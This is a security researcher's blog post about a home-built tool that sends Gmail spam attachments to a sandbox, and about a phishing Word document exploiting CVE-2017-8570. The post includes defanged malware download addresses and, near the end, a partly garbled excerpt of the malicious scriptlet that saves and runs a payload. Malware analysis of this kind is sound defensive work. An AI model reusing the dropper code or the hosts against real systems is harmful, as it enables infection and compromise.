Matryoshka

written by Mert SARICA | 1 November 2018

As a security researcher who always follows the spider senses, my instincts have been warning me for a long time to pay attention to my Gmail account's Spam folder. Being an active Gmail user since 2006, I had no doubt that over the course of 13 years, my email address ended up on the email lists of malicious individuals (spammers) sending unwanted emails from Nigeria to Papua New Guinea and many other geographies.

One day, as I once again took a look at the Spam folder, I noticed a significant number of unwanted emails that made me feel like a handsome movie star. :) Based on these emails, I started contemplating what I could do to gather information about the number of emails that ended up in my Gmail account's Spam folder over time, along with the types of malicious files they contained (such as spyware). Shortly after, I decided to develop a program using Python that would track the emails in the spam folder and upload the files attached to them to a sandbox system.

	Delete all promingesprace new (messance that have been in Scam more than 30 days will be automatically deleted)	
Ekaterina	hi - Hi to the hottest man in the world, which is program, my name is Ekaterina and i'm from Russia, but currently living in the USA. I just wanted to let you know that seeing your profile made me want	1:34 am
Tatiana	hi - Hi to the hottest man in the world, which is program, my name is Tatiana and i'm from Russia, but currently living in the USA. I just wanted to let you know that seeing your profile made me want to	12:33 am
Nadezhda	hi - Hi to the hottest man in the world, which is mert, my name is Nadezhda and i'm from Russia, but currently living in the USA. I just wanted to let you know that seeing your profile made me want to	8:07 pm
Marina	hi - Hi to the hottest man in the world, which is mert, my name is Marina and i'm from Russia, but currently living in the USA. I just wanted to let you know that seeing your profile made me want to	Nov 23
Alla	hi - Hi mert, my name is Alla and i'm from Russia Many times in life, we can end up taking the people who are closest to our hearts for granted. I am so used to all of the wonderful things that guys	Nov 23
Lesia	-Hi do You Know Me !!Hi, We Need to Talk	Nov 23
Vera	hi - Hi mert, my name is Vera and i'm from Russia, but currently living in the USA. Two weeks ago I found your profile on Badoo and must say I cant forget that face :-) You are super cute and I would	Nov 23
Alla	hi - Hi program, my name is Alla and i'm from Russia, but currently living in the USA. Two weeks ago I found your profile on Badoo and must say I cant forget that face :-) You are super cute and I would	Nov 22
Anastasia	hi - Hi mert, my name is Anastasia and i'm from Russia, but currently living in the USA. Two weeks ago I found your profile on Badoo and must say I cant forget that face) You are super cute and I	Nov 22
Lesia	-Hi do You Know Me !!Hi, We Need to Talk	Nov 22
Valeria	hi - Dear mert, Finally I have got a change to write to you. My name is Valeria, i'm from Russia and now i'm living in USA :-) I saw you first time on Facebook or Instagram, I don't remember,	Nov 22
Oksana	hi - Dear program, Finally I have got a change to write to you. My name is Oksana, i'm from Russia and now i'm living in USA :-) I saw you first time on Facebook or Instagram, I don't remember,	Nov 22
Elena	hi - Dear program, Finally I have got a change to write to you. My name is Elena, i'm from Russia and now i'm living in USA ->) I saw you first time on Facebook or Instagram, I don't remember,	Nov 22
Lyudmila	hi - Dear mert, Finally I have got a change to write to you. My name is Lyudmila, i'm from Russia and now i'm living in USA :-) I saw you first time on Facebook or Instagram, I don't remember,	Nov 22
Svetlana	hi - Dear program, Finally I have got a change to write to you. My name is Svetlana, i'm from Russia and now i'm living in USA :-) I saw you first time on Facebook or Instagram, I don't remember	Nov 22
Oksana	hi - Dear mert, Finally I have got a change to write to you. My name is Oksana, i'm from Russia and now i'm living in USA :-) I saw you first time on Facebook or Instagram, I don't remember, but	Nov 22
Barbara	hi - Dear program, Finally I have got a change to write to you. My name is Barbara, i'm from Russia and now i'm living in USA :-) I saw you first time on Facebook or Instagram, I don't remember,	Nov 22

I decided to use Hybrid Analysis, which incorporates the Falcon sandbox system in the background, as my choice for a sandbox service that I frequently use for malicious software analysis and have always been satisfied with. However, in order to automatically upload detected files to Hybrid Analysis' API, an unrestricted API key was required. Fortunately, thanks to them providing this for free to security researchers, I was able to obtain an API key in a short period of time.



After developing and implementing a tool called Spam Analyzer using Python, it didn't take long before the tool discovered a suspicious file named "PO.docx" in the Spam folder.

✓ Batcave ×	Batcave (1)
Gmail Spam A	nalyzer v1.0 [https://www.mertsarica.com]
<pre>[+] Working [*] Total ur [*] Submitti [*] Submitti [*] Submitti [*] Submitti [+] Sleeping</pre>	on attachments mead messages in spam folder: 4 ing 2018().xlsx to Falcon Sandbox ing 9750f81d3b1fbbee8f0f1fb7aaac1482 to Falcon Sandbox ing Abel and Vivian.pdf to Falcon Sandbox ing PO.docx to Falcon Sandbox j 1 hour

V Batcave X Ø Batcave (1)	
Gmail Spam Analyzer v1.0 [https://www.mertsarica.com]	
<pre>[+] Working on attachments [*] All e-emails are already analyzed in Spam folder [+] Checking for malicious samples [*] Verdict of 2018().xlsx: no specific threat [*] Verdict of Abel and vivian.pdf: no specific threat [*] Verdict of PO.docx: suspicious</pre>	
RE: Document 🗅 span x	÷ 9
Mr. Anuant piboonphon ≪xx@yy> to Recipients •	🖙 Feb 5 (3 days ago) 🙀 🔸 🔻
Be careful with this message. Similar messages were used to steal people's personal information. Unless you trust the sender, don't click links or reply with personal information. Learn more	
Dear Sir/Madam, Attached herewith please find Pre-Alert Shipping documents for your pre-arrangement and we would like inform you, due to prevent lost of shipping documents, all Original Shipping Documents have put in with AWB as well. If you need any more information, please don't hesitate to contact us. Thank you for your kind support.	no this cargo Box No.1 and copies of those also attached
Best Regards, Mr. Anuant piboonphon Thai Master Transport Int'i Service (TMT) Co.,Ltd. 850/4 Lad Krabang Road, Lad Kragang , Lad Kragang , Bangkok Thailand 10520 Mobile Phone : 08 5488 5238 Tel : 02-326-7099 Ext: 22 Fax: 02-326-7097 Email : anunat.Piboonphon : airport@tmtcargo.com : www.tmtcargo.com Member of: Image result for iata cargo logoRelated image004 jpg@01D2BDF8.DA9E4430http://www.ailcargo.co.th/tafa.jpghttp://www.hasla.or.th/Portals/4/logo.jpgTACBA	
Downloading this attachment is disabled because this email has been identified as phishing. If you want to download it and you trust this message, click "Not spam" in the banner above. Learn more	
W	

The Spam Analyzer tool connects to your Gmail account via the Gmail API using the connection information found in the "client_secret.json" file (which you can download from the Google API Console). It reads all the emails in the Spam folder, copies the attached files to the "attachments" folder, and then uploads these files to the Hybrid Analysis system. It stores the information of all uploaded files in the "hashes.txt" file. After uploading the files to Hybrid Analysis, it writes the corresponding Hybrid Analysis report and whether the file is malicious or not into the "hashes.txt" file after 1 hour.

04-03-2018 15:45:36|2018().xlsx|726baebb4485908b1ea5f8a0f687ef472021b390ca7ff1dbf9b4346ceabfc02f|submitted 04-03-2018 15:45:40|9750f81d3b1fbbee8f0f1fb7aaac1482|c9e4badba591f852f35fffecfc6b296e8a5e557b665ac9ae964885ba163a4bff|submitted 04-03-2018 15:45:43|Abel and vivian.pdf|0156ac243f674dbb6f4053ab4c0b0c7e2704e12f70b426ff4fea48ff4d5421f9|submitted 04-03-2018 15:45:45|P0.docx|510f89597e3348e2983cc654cc359d104aef74ace40b78f4d775c866fb3fedfc|submitted

File: hashes.txt

GNU nano 2.5.3



When I started analyzing the "PO.docx" file using the Pestudio tool, I found that, except for ZoneAlarm, no other security software detected it as suspicious. Opening the file with an outdated patch of Microsoft Office 2010 and monitoring it with the Fiddler tool, I observed that it first downloaded and executed the "svch.doc" file from the shortened URL "http://urlz[.]fr/6uQM" (expanded URL: "http://23[.]249[.]161[.]109/ace/"). Then, it attempted to download the "svchost32.vbs" file from the address "http://jopittex[.]zapto[.]org/windows/" through "svch.exe".

Help					
🛛 🗡 🗎 🤋					
c:\users\mert\desktop\po.docx	engine (58)	positiv (1)	date (dd.mm.yyyy)	age (days)	
indicators (1/3)	ZoneAlarm	UDS:DangerousObject.Multi.Generic	07.02.2018	2	
virustotal (1/59 - 07.02.2018)	Bkav	clean	06.02.2018	3	
abc strings (921)	MicroWorld-eScan	clean	07.02.2018	2	
	nProtect	clean	07.02.2018	2	
	CMC	clean	06.02.2018	3	
	CAT-QuickHeal	clean	06.02.2018	3	
	McAfee	clean	07.02.2018	2	
	Malwarebytes	clean	07.02.2018	2	
	VIPRE	clean	07.02.2018	2	
	K7AntiVirus	clean	06.02.2018	3	
	BitDefender	clean	N 07.02.2018	2	
	K7GW	clean	06.02.2018	3	
	TheHacker	clean	06.02.2018	3	
	Arcabit	clean	07.02.2018	2	
	Baidu	clean	06.02.2018	3	
	F-Prot	clean	07.02.2018	2	
	Symantec	clean	06.02.2018	3	
	ESET-NOD32	clean	07.02.2018	2	
	TrendMicro-HouseCall	clean	07.02.2018	2	
	Avast	clean	07.02.2018	2	
	ClamAV	clean	07.02.2018	2	
	Kaspersky	clean	07.02.2018	2	
	Alibaba	clean	07.02.2018	2	
	NANO-Antivirus	clean	07.02.2018	2	
	ViRobot	clean	07.02.2018	2	
	SUPERAntiSpyware	clean	07.02.2018	2	
	Tencent	clean	07.02.2018	2	
	Ad-Aware	clean	07.02.2018	2	
	Sophos	clean	07.02.2018	2	
	Comodo	clean	07.02.2018	2	
	F-Secure	clean	07.02.2018	2	
	DrWeb	clean	07.02.2018	2	
	Zillya	clean	06.02.2018	3	

Expand URL Shorten URL Terms of Use Privacy Policy Contact Us Expand URL http://urlz.fr/6uQM Expand URL Expand URL bttp://urlz.fr/6uQM Expand URL Short URL: http://urlz.fr/6uQM Redirects: 2 (hide details) . http://urlz.fr/6uQM Redirects: 2 (hide details) . http://urlz.fr/6uQM . http://urlz.fr/6uQM	GOW	vww.expandurl.net/e	xpand?url=http%	₀3A%2F%2Furlz.fr%2F6u	M				5		
Expand URL Shorten URL Terms of Use Privacy Policy Contact Us Expand URL http://urlz.fr/6uQM Expand URL essuits for http://urlz.fr/6uQM Website Thumbhail Generator Thumbhail Generator Thumbhail Generator Child details) 1. http://urlz.fr/6uQM Redirects: 2 (hild details) 2. http://urlz.3249.161.109/ace/sych.doc Long URL: http://23.249.161.109/ace/sych.doc	View the	e destination URL!									
Expand URL Shorten URL Terms of Use Privacy Policy Contact Us Expand URL http://urlz.fr/6uQM Expand URL essuits for http://urlz.fr/6uQM Website Thumbnail Generator Thumbnail queued Short URL: http:///23.249.161.109/ace/sych.doc Long URL: http:///23.249.161.109/ace/sych.doc xxta Information											
Expand URL Shorten URL Terms of Use Privacy Policy Contact Us Expand URL Expand Expend Expand Expand Expand Expand Expend Expand									_		
Expand URL	Expand URL	Shorten URL	Terms of Use	Privacy Policy	Contact Us						
Expand URL											
Expand URL											
http://urlz.fr/6uQM esults for http://urlz.fr/6uQM Website Thumbnail Generator Thumbnail queued Image: Short URL: http://urlz.fr/6uQM Redirects: 2 (hide details) Image: Short URL: http://urlz.fr/6uQM Redirects: 2 (hide details) Image: Short URL: http://urlz.fr/6uQM Redirects: 2 (hide details) Image: Short URL: http://23.249.161.109/ace/svch.doc Long URL: http://23.249.161.109/ace/svch.doc xtra Information web Debugger Redir Potocol Image: Short URL: Web Debugger Image: Short URL: Redir Potocol Image: Short URL: Web Debugger Image: Short URL: Redir Potocol Image: Short URL: Stat: HTTP Image: Short URL: <td>Expand URI</td> <td>L c</td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td>	Expand URI	L c									
http://urlz.fr/6uQM esults for http://urlz.fr/6uQM Website Thumbnail Generator Thumbnail queued Short URL: http://urlz.fr/6uQM Redirects: 2 (hide details) 1. http://urlz.fr/6uQM 2. http://urlz.fr/6uQM website Thumbnail queued Image: Short URL: http://urlz.fr/6uQM Redirects: 2 (hide details) 1. http://urlz.fr/6uQM 2. http://23.249.161.109/ace/svch.doc Long URL: http://23.249.161.109/ace/svch.doc web Debugger Redirects: 1 mm Deceder Web Debugger Redirects: 1 mm Deceder Interview Help GET /book Tess (Red See So S Brook • Qeter Cache JT TestWater Motoced web Interview Help GET /book Tess (Red See So S Brook • Qeter Cache JT TestWater Motoced Immod S128 Immod S128 Immod S128 Immod S128 Immod S128 Immod S128 Immod S128 Immod S128 Immod S128 Immod S128 <td< td=""><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td></td<>											
Expand URL esults for http://urlz.fr/6uQM Website Thumbnail Generator Short URL: http://urlz.fr/6uQM Thumbnail queued Short URL: http://urlz.fr/6uQM Imp://urlz.fr/6uQM 1. https://urlz.fr/6uQM Imp://urlz.fr/6uQM 2. (hide details) Imp://urlz.fr/6uQM 2. http://23.249.161.109/ace/sych.doc Imp://urlz.fr/6uQM 2. http://23.249.161.109/ace/sych.doc Imp://urlz.fr/6uQM	(http://urlz.fr/6uC	M								
Expand URL esuits for http://urlz.fr/6uQM Website Thumbnail Generator Thumbnail queued In http://urlz.fr/6uQM Redirects: 2 (hide details) In http://urlz.fr/6uQM 2. http://urlz.fr/6uQM In thtp://urlz.fr/6uQM I	(http://unz.ii/oug	2111								
Expand URL esuits for http://urlz.fr/6uQM Website Thumbnail Generator Short URL: http://urlz.fr/6uQM Thumbnail queued 1. https://urlz.fr/6uQM Image: Stream St											
esults for http://urlz.fr/6uQM Website Thumbnail Generator Thumbnail queued Short URL: http://urlz.fr/6uQM Redirects: 2 (hide details) 1. http://urlz.fr/6uQM 2. http://23.249.161.109/ace/svch.doc Long URL: http://23.249.161.109/ace/svch.doc tria Information Web Debugger Rule: Tools View Help GET /book Coding ContentType Wrood3128 [22] Rule: Tools View Help GET /book Coding ContentType Process Coments Code Redirects: 2 (hide details) 1. http://23.249.161.109/ace/svch.doc tria Information Web Debugger Rule: Tools View Help GET /book Coding ContentType Process Coments Code Redirects: 2 (hide details) 2. 2292 Histing On getween data in the Second Secon				Expan	nd URL						
esults for http://urlz.fr/6uQM Website Thumbnail Generator Thumbnail queued Short URL: http://urlz.fr/6uQM Redirects: 2 (hide details) 1. https://urlz.fr/6uQM 2. http://23.249.161.109/ace/svch.doc Long URL: http://23.249.161.109/ace/svch.doc Long URL: http://23.249.161.109/ace/svch.doc stra Information Web Debugger Rule: Tools View Help GET/book Science + Any Process AF Find Science + Clear Cache J TextWizad E Tearoff MSDN Search. web Debugger Rule: Tools View Help GET/book Science + Any Process AF Find Science + Clear Cache J TextWizad E Tearoff MSDN Search. web Debugger Rule: Tools View Help GET/book Science + Any Process AF Find Science + Clear Cache J TextWizad E Tearoff MSDN Search. web Debugger Rule: Tools View Help GET/book Science + Generations + Any Process AF Find Science + Clear Cache J TextWizad E Tearoff MSDN Search. web Comments Cache Science + Trans											
esuits for http://uriz.fr/6uQM Website Thumbnail Generator Thumbnail queued Image: Short URL: http://uriz.fr/6uQM Redirects: 2 (hide details) 1. https://uriz.fr/6uQM 2. http://23.249.161.109/ace/svch.doc Long URL: http://23.249.161.109/ace/svch.doc strain Information Web Debugger Rules Tools View Help GET/book Scetcher @ Read/ Protocol Nuts: // / / / / / / / / / / / / / / / / / /									_		
Website Thumbnail Generator Short URL: http://urlz.fr/6uQM Thumbnail queued 1. http://urlz.fr/6uQM Image: Short URL: http://urlz.fr/6uQM 2. http://23.249.161.109/ace/svch.doc Image: Short URL: http://23.249.161.109/ace/svch.doc Long URL: http://23.249.161.109/ace/svch.doc Image: Short URL: http://23.249.161.109/ace/svch.doc Long URL: http://23.249.161.109/ace/svch.doc xtra Information Stream Elocode Keep.All sessions + ⊕ Any Process All Find Save Content-Type Process Content-Type Web Debugger Rodar Horizon Image: Save Content-Type Process Content-Type Soil HTTP urlz.fr / 132 text/hmil dwsset-UTF-8 Woword3128 [#23] Soil HTTP urlz.fr / 170 text/hmil dwsset-UTF-8 Woword3128 [#23] Soil HTTP urlz.fr / KoGM 1.852 text/hmil dwsset-UTF-8 Woword3128 [#23] Soil HTTP Urlz.fr/44 1.852 text/hmil dwsset-UTF-8 Woword3128 [#23] Soil HTTP Urlz.fr/44 1.852 text/hmil dwsset-UTF-8 Woword3128 [#23] Soil HTTP Urlz.fr/44 1.852 text/hmil dwsset-UTF-8 Woword3128 [#23] [#23]	esults for ht	ttp://urlz.fr/6uQM									
Website Thumbnail Generator Short URL: http://urlz.fr/6uQM Thumbnail queued 1. https://urlz.fr/6uQM Image: Short URL: http://23.249.161.109/ace/svch.doc Katter Information Web Debugger Read: Potocol Stream: Stream: Decode Keep: All sessions + @ Any Process A Find Stream: Stream: Decode Keep: All sessions + @ Any Process A Find Stream: Code wrword: 328 [#23] 301 HTTP 405 HTTP											
Short URL: http://urlz.fr/6uQM Redirects: 2 (hide details) 1. https://urlz.fr/6uQM 2. http://23.249.161.109/ace/svch.doc Long URL: http://23.249.161.109/ace/svch.doc ktra Information Nort URL: Web Debugger Resit Protocol Resit Protocol Host URL Miles Tools View Help GET/book Geocdage Resit Protocol Host URL 901 HTTP urlz.fr / urlz.fr / 1 901 HTTP urlz.fr / 1 901 HTTP urlz.fr / 4 901 HTTP urlz.fr / 6uQM 901 HTTP urlz.fr / 6uQM 1.852 901 HTTP urlz.fr / 6uQM 1.852 901 HTTP urlz.fr / 6uQM 1.852 901 HTTP urlz.fr / 6uQM 1.852<	Mahaika Thur	mha sil Cananatan	X-ASSESSMENT /	100000000000000000000000000000000000000							
Thumbnail queued Redirects: 2 (hide details) 1. https://urlz.fr/6uQM 2. http://23.249.161.109/ace/svch.doc Long URL: http://23.249.161.109/ace/svch.doc ktra Information Web Debugger Resit Potocol Resit Potocol Not URL: http://23.249.161.109/ace/svch.doc Not URL: http://23.249.161.109/ace/svch.doc Web Debugger Resit Potocol Not URL: Body Caching Content-Type Process Comments Custor 301 HTP urlz.fr / / Body Caching Content-Type Process Comments Custor Save Word Size [=23] 301 HTP urlz.fr / / Body Caching Content-Type Process Comments Custor Save Word Size [=23] [=24] 301 HTP urlz.fr / 40 Body Caching Content-Type Process Comments Custor Save Word Size [=23] [=24] 301 HTP urlz.fr / 40 Body Caching Content-Type Word Size [=23] [=24] 301 HTP urlz.fr / 40 Body Caching Content-Type Word Size [=22] [=24] 301 HTP urlz.fr / 40/GM Body Caching Content-Type Word Size [=22] [=2	website thur	Tibriali Generator	Short URL:	http://urlz.fr/6uQM							
Thumbhail queued 1. https://ulz.fr/60QM Long URL: http://23.249.161.109/ace/svch.doc Long URL: http://23.249.161.109/ace/svch.doc ktra Information Web Debugger Rules Tools View Help GET /book GeoEdge Ifig ○ f Replay X · I Go I Stream ID Decode Keep: All sessions · ⊕ Any Process A Find IS Save IS ② @ Browse · @ Clear Cache J Tearoff MSDN Search @ Result Protocol Host URL Body Caching Content-Type Process Comments Custo 901 HTTP utz.fr / 120 text/htmid charset=UTF-8 wmword:3128 [#23] 901 HTTP utz.fr / 60QM 1852 text/htmid marset=UTF-8 wmword:3128 [#23] 901 HTTP utz.fr / 60QM 1852 text/htmid marset=UTF-8 wmword:3128 [#23] 901 HTTP utz.fr / 60QM 1852 text/htmid wmword:3128 [#23] 901 HTTP utz.fr / 60QM 1852 text/htmid wmword:3128 [#23] 901 HTTP 123.429.151.109 / Roce/wth.doc 5 text/htmid wmword:3128 [#23] 901 HTTP 123.429.051.109 / Roce/wth.doc 586.121			Redirects:	2 (hide details)							
2. http://23.249.161.109/ace/svch.doc 2. http://23.249.161.109/ace/svch.doc Long URL: http://23.249.161.109/ace/svch.doc ktrain formation Web Debugger Rules Tools View Help GET/book S GeoEdge fig 1 fs Replay X +) Go 1 fs Team Decode Keep: All sessions + (Any Process A Find S Save S 2 Flowse + (Clear Cache J TextWizard Process Comments Custor 901 HTTP urlz.fr / 901 HTTP urlz.fr // SuQM 902 HTTPS urlz.fr / 903 HTTP urlz.fr // SuQM 904 HTTP Urlz.fr // SuQM 905 HTTPS urlz.fr // SuQM Ses.121 application/moword<	Thumbr	heueun lice	neun ceus.	1. https://urlz.fr/6u	MOI						
Long URL: http://23.249.161.109/ace/svch.doc ktra Information Web Debugger Rules Tools View Help GET /book III GeoEdge Mere: All sessions * @ Any Process AF Find & Save IIII @ Orderic Type Process Comments Custor 101 HTTP ufz.fr / / 182 text/html wmword:3128 [#24] 200 HTTP ufz.fr / / 182 text/html wmword:3128 [#25] 200 HTTP ufz.fr / // 100 182 text/html wmword:3128 [#26] 200 HTTP ufz.fr / // 100 182 text/html wmword:3128 [#26] 200 HTTP ufz.fr / // 100 182 text/html wmword:3128 [#26] 200 HTTP ufz.fr / // 100 182 text/html wmword:3128 [#26] 200 HTTP ufz.fr // 60QM 5 text/html wmword:3128 [#27] 200 HTTP ufz.fr // 60QM 5 text/html, charset=UTF-8 wmword:3128 [#27] 200 HTTP ufz.fr // 60QM 5 text/html, charset=UTF-8	mumpi	ian queueu		2. http://23.249.16	1.109/ace/svch.do	c					
Long URL: http://23.249.161.109/ace/svch.doc ktra Information Web Debugger Rules Tools View Help GET /book I GeoEdge of \$ Stream III Decode Kep: All sessions • @ Any Process A Find Save III @ O @ Browse • @ Clear Cache /T TextWizard II Tearoff MSDN Search @ Result Protocol Host URL Body Caching Content-Type Process Comments Custo 101 HTTP utz.fr / 120 text/html wmword:3128 [#23] 200 HTTP utz.fr /60QM 182 text/html wmword:3128 [#26] 301 HTTP utz.fr /60QM 182 text/html wmword:3128 [#27] 302 HTTPS utz.fr /60QM 5 text/html wmword:3128 [#27] 302 HTTPS utz.fr /60QM 5 text/html wmword:3128 [#27] 302 HTTP utz.fr /60QM 5 text/html wmword:3128 [#27] 303 HTTP utz.fr /60QM 5 text/html wmword:3128 [#27] 303 HTTP utz.fr /60QM 5 text/html wmword:3128 [#28]											
STITURE the web Web Debugger Rules Tools View Help GET / book III GeoEdge If mode the web Result Protocol Host URL Body Caching Content-Type Process Comments Custo Notocol Host URL Body Caching Content-Type Process Comments Custo Add the first first of the first first of the first first of the first f		abuid in	Long URL:	http://23.249.161.109/	ace/svch.doc						
xtra Information Web Debugger Rules Tools View Help GET / book I GeoEdge fig Q 4 Replay X + I Go I Stream III Decode Keep: All sessions - Any Process A Find I Save III O Formation Result Protocol Host URL Body Caching Content-Type Process Comments Custo 301 HTTP utz.fr / 100 text/html wmword:3128 [#23] 200 HTTP utz.fr /GUQM 182 text/html wmword:3128 [#23] 301 HTTP utz.fr /GUQM 182 text/html wmword:3128 [#23] 200 HTTP Tomel to utz.fr:/H33 1.852 wmword:3128 [#25] autz.fr /GUQM 5 text/html wmword:3128 [#25] 302 HTTPS utz.fr /GUQM 5 text/html wmword:3128 [#27] 200 HTTP 2.3249.161.109 /ace/svch.doc 5 text/html wmword:3128 [#27] 23.249.161.109 /ace/svch.doc <td <="" colspan="2" td=""><td></td><td>SNIINKtheweb</td><td></td><td></td><td></td><td></td><td></td><td></td><td></td></td>	<td></td> <td>SNIINKtheweb</td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td>			SNIINKtheweb							
xtra Information Web Debugger Rules Tools View Help GET/book III GeoEdge fig I + Replay X + I Go I Stream III Decode Keep: All sessions + Any Process AI Find I Save III O for the Color Caching Content-Type Process Comments Custor 301 HTTP Host URL Body Caching Content-Type Process Comments Custor 301 HTTP utz.fr / 120 text/html wmword:3128 [#23] 200 HTTP utz.fr / BuQM 182 text/html wmword:3128 [#26] 302 HTTPS utz.fr / GuQM 182 text/html wmword:3128 [#27] 302 HTTPS utz.fr / GuQM 5 text/html wmword:3128 [#27] 302 HTTPS utz.fr / GuQM 5 text/html wmword:3128 [#27] 302 HTTPS utz.fr / GuQM 5 text/html wmword:3128 [#27] 303 HTTP utz.fr / GuQM 5 text/html wmword:3128 [#27] 303 HTTP utz.fr / GuQM 5 text/html text/html f=28] 301 HTTP utz.fr / GuQM											
xtra Information Web Debugger Rules Tools View Help GET / book III GeoEdge Ifing I + Replay X + I Go I Stream IIII Decode Keep: All sessions • Any Process A Find I Save IIII O Keep: All sessions • Any Process A Find I Save IIII O Keep: All sessions • Any Process A Find I Save IIII O Keep: All sessions • Any Process A Find I Save IIII O Keep: All sessions • Any Process A Find I Save IIII O Keep: All sessions • Any Process A Find I Save IIII O Keep: All sessions • Any Process A Find I Save IIII O Keep: All sessions • Any Process A Find I Save IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII											
Web Debugger Rules Tools View Help GET / book IIII GeoEdge fig I food IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII	xtra Informa	ation									
Web Debugger Replay X + P Go GET /book Colspan="6">GeoEdge fig < 49 Replay X + P Go Stream IIII Decode Keep: All sessions • III Any Process III Find Solve Georem Content Type Process Comments Custo Result Protocol Hots URL Body Caching Content-Type Process Comments Custo 405 HTTP urlz, fr / 182 text/html wmword:3128 [#23] 405 HTTP urlz, fr /600M 182 text/html wmword:3128 [#24] 200 HTTP Tunnel to urlz, fr:/443 1.652 wmword:3128 [#27] 301 HTTP urlz, fr:/600M 5 text/html; charset=UTF-8 wmword:3128 [#27] 300 HTTP urlz, fr:/600M 5 text/html; charset=UTF-8 wmword:3128 [#27] 301 HTTP urlz, fr:/600M 5 text/html; charset=UTF-8 wmword:3128 [#28] 301 HTTP urlz, fr:/600M 5 text/html; char											
Note: Section of the se	Web Debugger										
fig Q 4 Replay X + b Go Stream Bocode Keep: All sessions + Any Process A Find R Sove Body Caching Content-Type Process Comments Custor and the field of the total and the field of the field of the total and the field of t		View Help GET /book	GeoEdge								
Result Protocol Host URL Body Cadhing Content-Type Process Comments Cust 301 HTTP urlz.fr / 182 text/html wmword:3128 [#23] ////////////////////////////////////	Rules Tools \	🖌 🗙 🔹 🕨 Go 🛛 🟶 Stream 🖁	👹 Decode 🔰 Keep: All ser	ssions 🔹 🕀 Any Process 👫 Find	🔣 Save 🛛 🗟 ⊘ 🏉 Brows	e 🔹 😪 Clear Cache 🎢 TextWiza	rd 🕒 Tearoff MSDI	V Search 🕜			
301 HTTP urlz,fr / 182 text/html wmword:3128 [#23] 405 HTTPS urlz,fr / 170 text/html; charset=UTF-8 wmword:3128 [#24] 301 HTTP urlz,fr: /6uQM 182 text/html; charset=UTF-8 wmword:3128 [#25] 200 HTTP Tunnel to urlz,fr: /6uQM 1.852 wmword:3128 [#26] 302 HTTPS urlz,fr: /6uQM 5 text/html; charset=UTF-8 wmword:3128 [#27] 200 HTTP urlz,fr: /6uQM 5 text/html; charset=UTF-8 wmword:3128 [#27] 200 HTTP urlz,fr: /6uQM 5 text/html; charset=UTF-8 wmword:3128 [#27] 200 HTTP urlz,fr: /6uQM 0 text/html; wmword:3128 [#28] 301 HTTP urlz,fr: /6uQM 0 text/html wmword:3128 [#28]	Rules Tools \ fig 📿 47 Replay	stocol	Host UP	4L	Body Cach	ing Content-Type	Process	Comments	Custon		
301 HTTP Uriz, fr. /6uQM 120 0ccupuling output/outp	Rules Tools N fig Q 4 Replay Result Pro		urlz.fr /		182	text/html text/html: charset =1 (TE-9	wnword: 3128	[#23] [#24]			
200 HTTP Tunnel to urlz.fr:443 1.852 wmword:3128 [#26] 302 HTTPS urlz.fr. /kuQM 5 text/html; charset=UTF-8 wmword:3128 [#27] 200 HTTP 23.249.161.109 /ace/svch.doc 586.121 application/msword wmword:3128 [#28] 301 HTTP urlz.fr: /kuQM 0 text/html wmword:3128 [#29]	Rules Tools N fig C 49 Replay Result Pro 301 HT	TP TPS	units for 1		1/0	textprine, didrset=01F*8	withord: 3120	[#25]			
302 HTTPS urlz,fr. //suQM 5 text/hmir, charset=uTF-8 wmword:3128 [#27] 200 HTTP 23.249.161.109 /ace/svch.doc 586.121 application/msword wmword:3128 [#28] 301 HTTP urlz, fr. //suQM 0 text/hmir wmword:3128 [#28]	Rules Tools V fig C 47 Replay Result Pro 301 HTT 405 HTT 301 HTT	TP TPS TP	urlz.fr / urlz.fr /60	uQM	182	text/ntml	11111010.0120	[#23]			
avv nitr Závěřší, Di Livý jedejšvích doc Soc. 121 apprecision/misviora wilwidd': 3128 [#28] 301 HTTP uříz, fr. (skuM 0 text/himl wmword': 3128 [#29]	Rules Tools A fig C 47 Replay Result Pro 301 HTT 405 HTT 301 HTT 200 HTT	TP TPS TP	urlz.fr / urlz.fr /6u Tunnel to url	uQM z.fr:443	182 1.852	text/ntmi	wnword:3128	[#26]			
V V V V V V V V V V V V V V V V V V V	Rules Tools N nfig	TP TPS TP TP TPS	uriz.fr / uriz.fr /6 Tunnel to uri uriz.fr /6	uQM Iz.fr:443 uQM	182 1.852 5	text/ntml text/html; charset=UTF-8	winword:3128 winword:3128 winword:3128	[#26] [#27]			
	Rules Tools N fig 49 Replay Result Pro 301 HTT 405 HTT 301 HTT 300 HTT 302 HTT 301 HTT 302 HTT 301 HTT 301 HTT 301 HTT 301 HTT	TP TP5 TP5 TP5 TP TP TP TP5	urlz.fr / urlz.fr /6 Tunnel to url urlz.fr /6 23.249.161.109 /av urlz.fr /6v urlz.fr /6v	uQM Iz.fr:443 uQM ize/svch.doc uQM	182 1.852 5 5866.121 0	text/htmi text/html; charset=UTF-8 application/msword text/html text/html; charset=UTF-8	winword:3128 winword:3128 winword:3128 winword:3128 winword:3128	[#25] [#26] [#27] [#28] [#29] [#30]			

As I continued analyzing the "PO.docx" file using tools like Notepad++ and rtfdump.py, I discovered that the file exploited the CVE-2017-8570 vulnerability by abusing Microsoft Word's frameset feature (commonly used in penetration testing).





```
III nano 2, 5, 3
                                                                                                                                                    File: svch.doc.txt
    MAROBOGISJEKKEUDIQ.sct^dc:\fakepath\089QJSJEKKEUDIQ.sct^d^d^d_^d^d^c.d_^dd^d^c:\fakepath\089QJSJEKKEUDIQ.sct^dt_bl^Ddd<?XML version="1.0"?>
scriptie>
registration="rpos.xozb"
yersion="1.2300cd5-191b-400b-ab31-d7819ef4e69c]"
remotable="true"
       >
registration>
cript language="JScript">
        DATA[

DOOD00000000000000000, "APPDATA", "svch.exe"];

KIemiowR = pDMHvJo(0);

µFoorwdnE= mkzoumdQoqSBe(Usm[5]) + "\\" + Usm[6];
         var XGACYbeOPtSkwU = pDMHvJo(3);
if (XGACYbeOPtSkwU.FileExists(kKeuFoorwdnE)){
XGACYbeOPtSkwU.DeleteFile(kKeuFoorwdnE);
    }
catch (e) {
/
CwjHrwlGlzmpsUw(Usm[4],kKeuFoorwdnE);
KIemiowR.Run(kKeuFoorwdnE, 0, false);
try{
 try(
    Klemiows.edgwrite("McCU)(Software/Wicrosoft/Office/L1.0/\word/)
    Klemiows.edgwrite("McCU/Software/Wicrosoft/Office/L1.0/\word/)
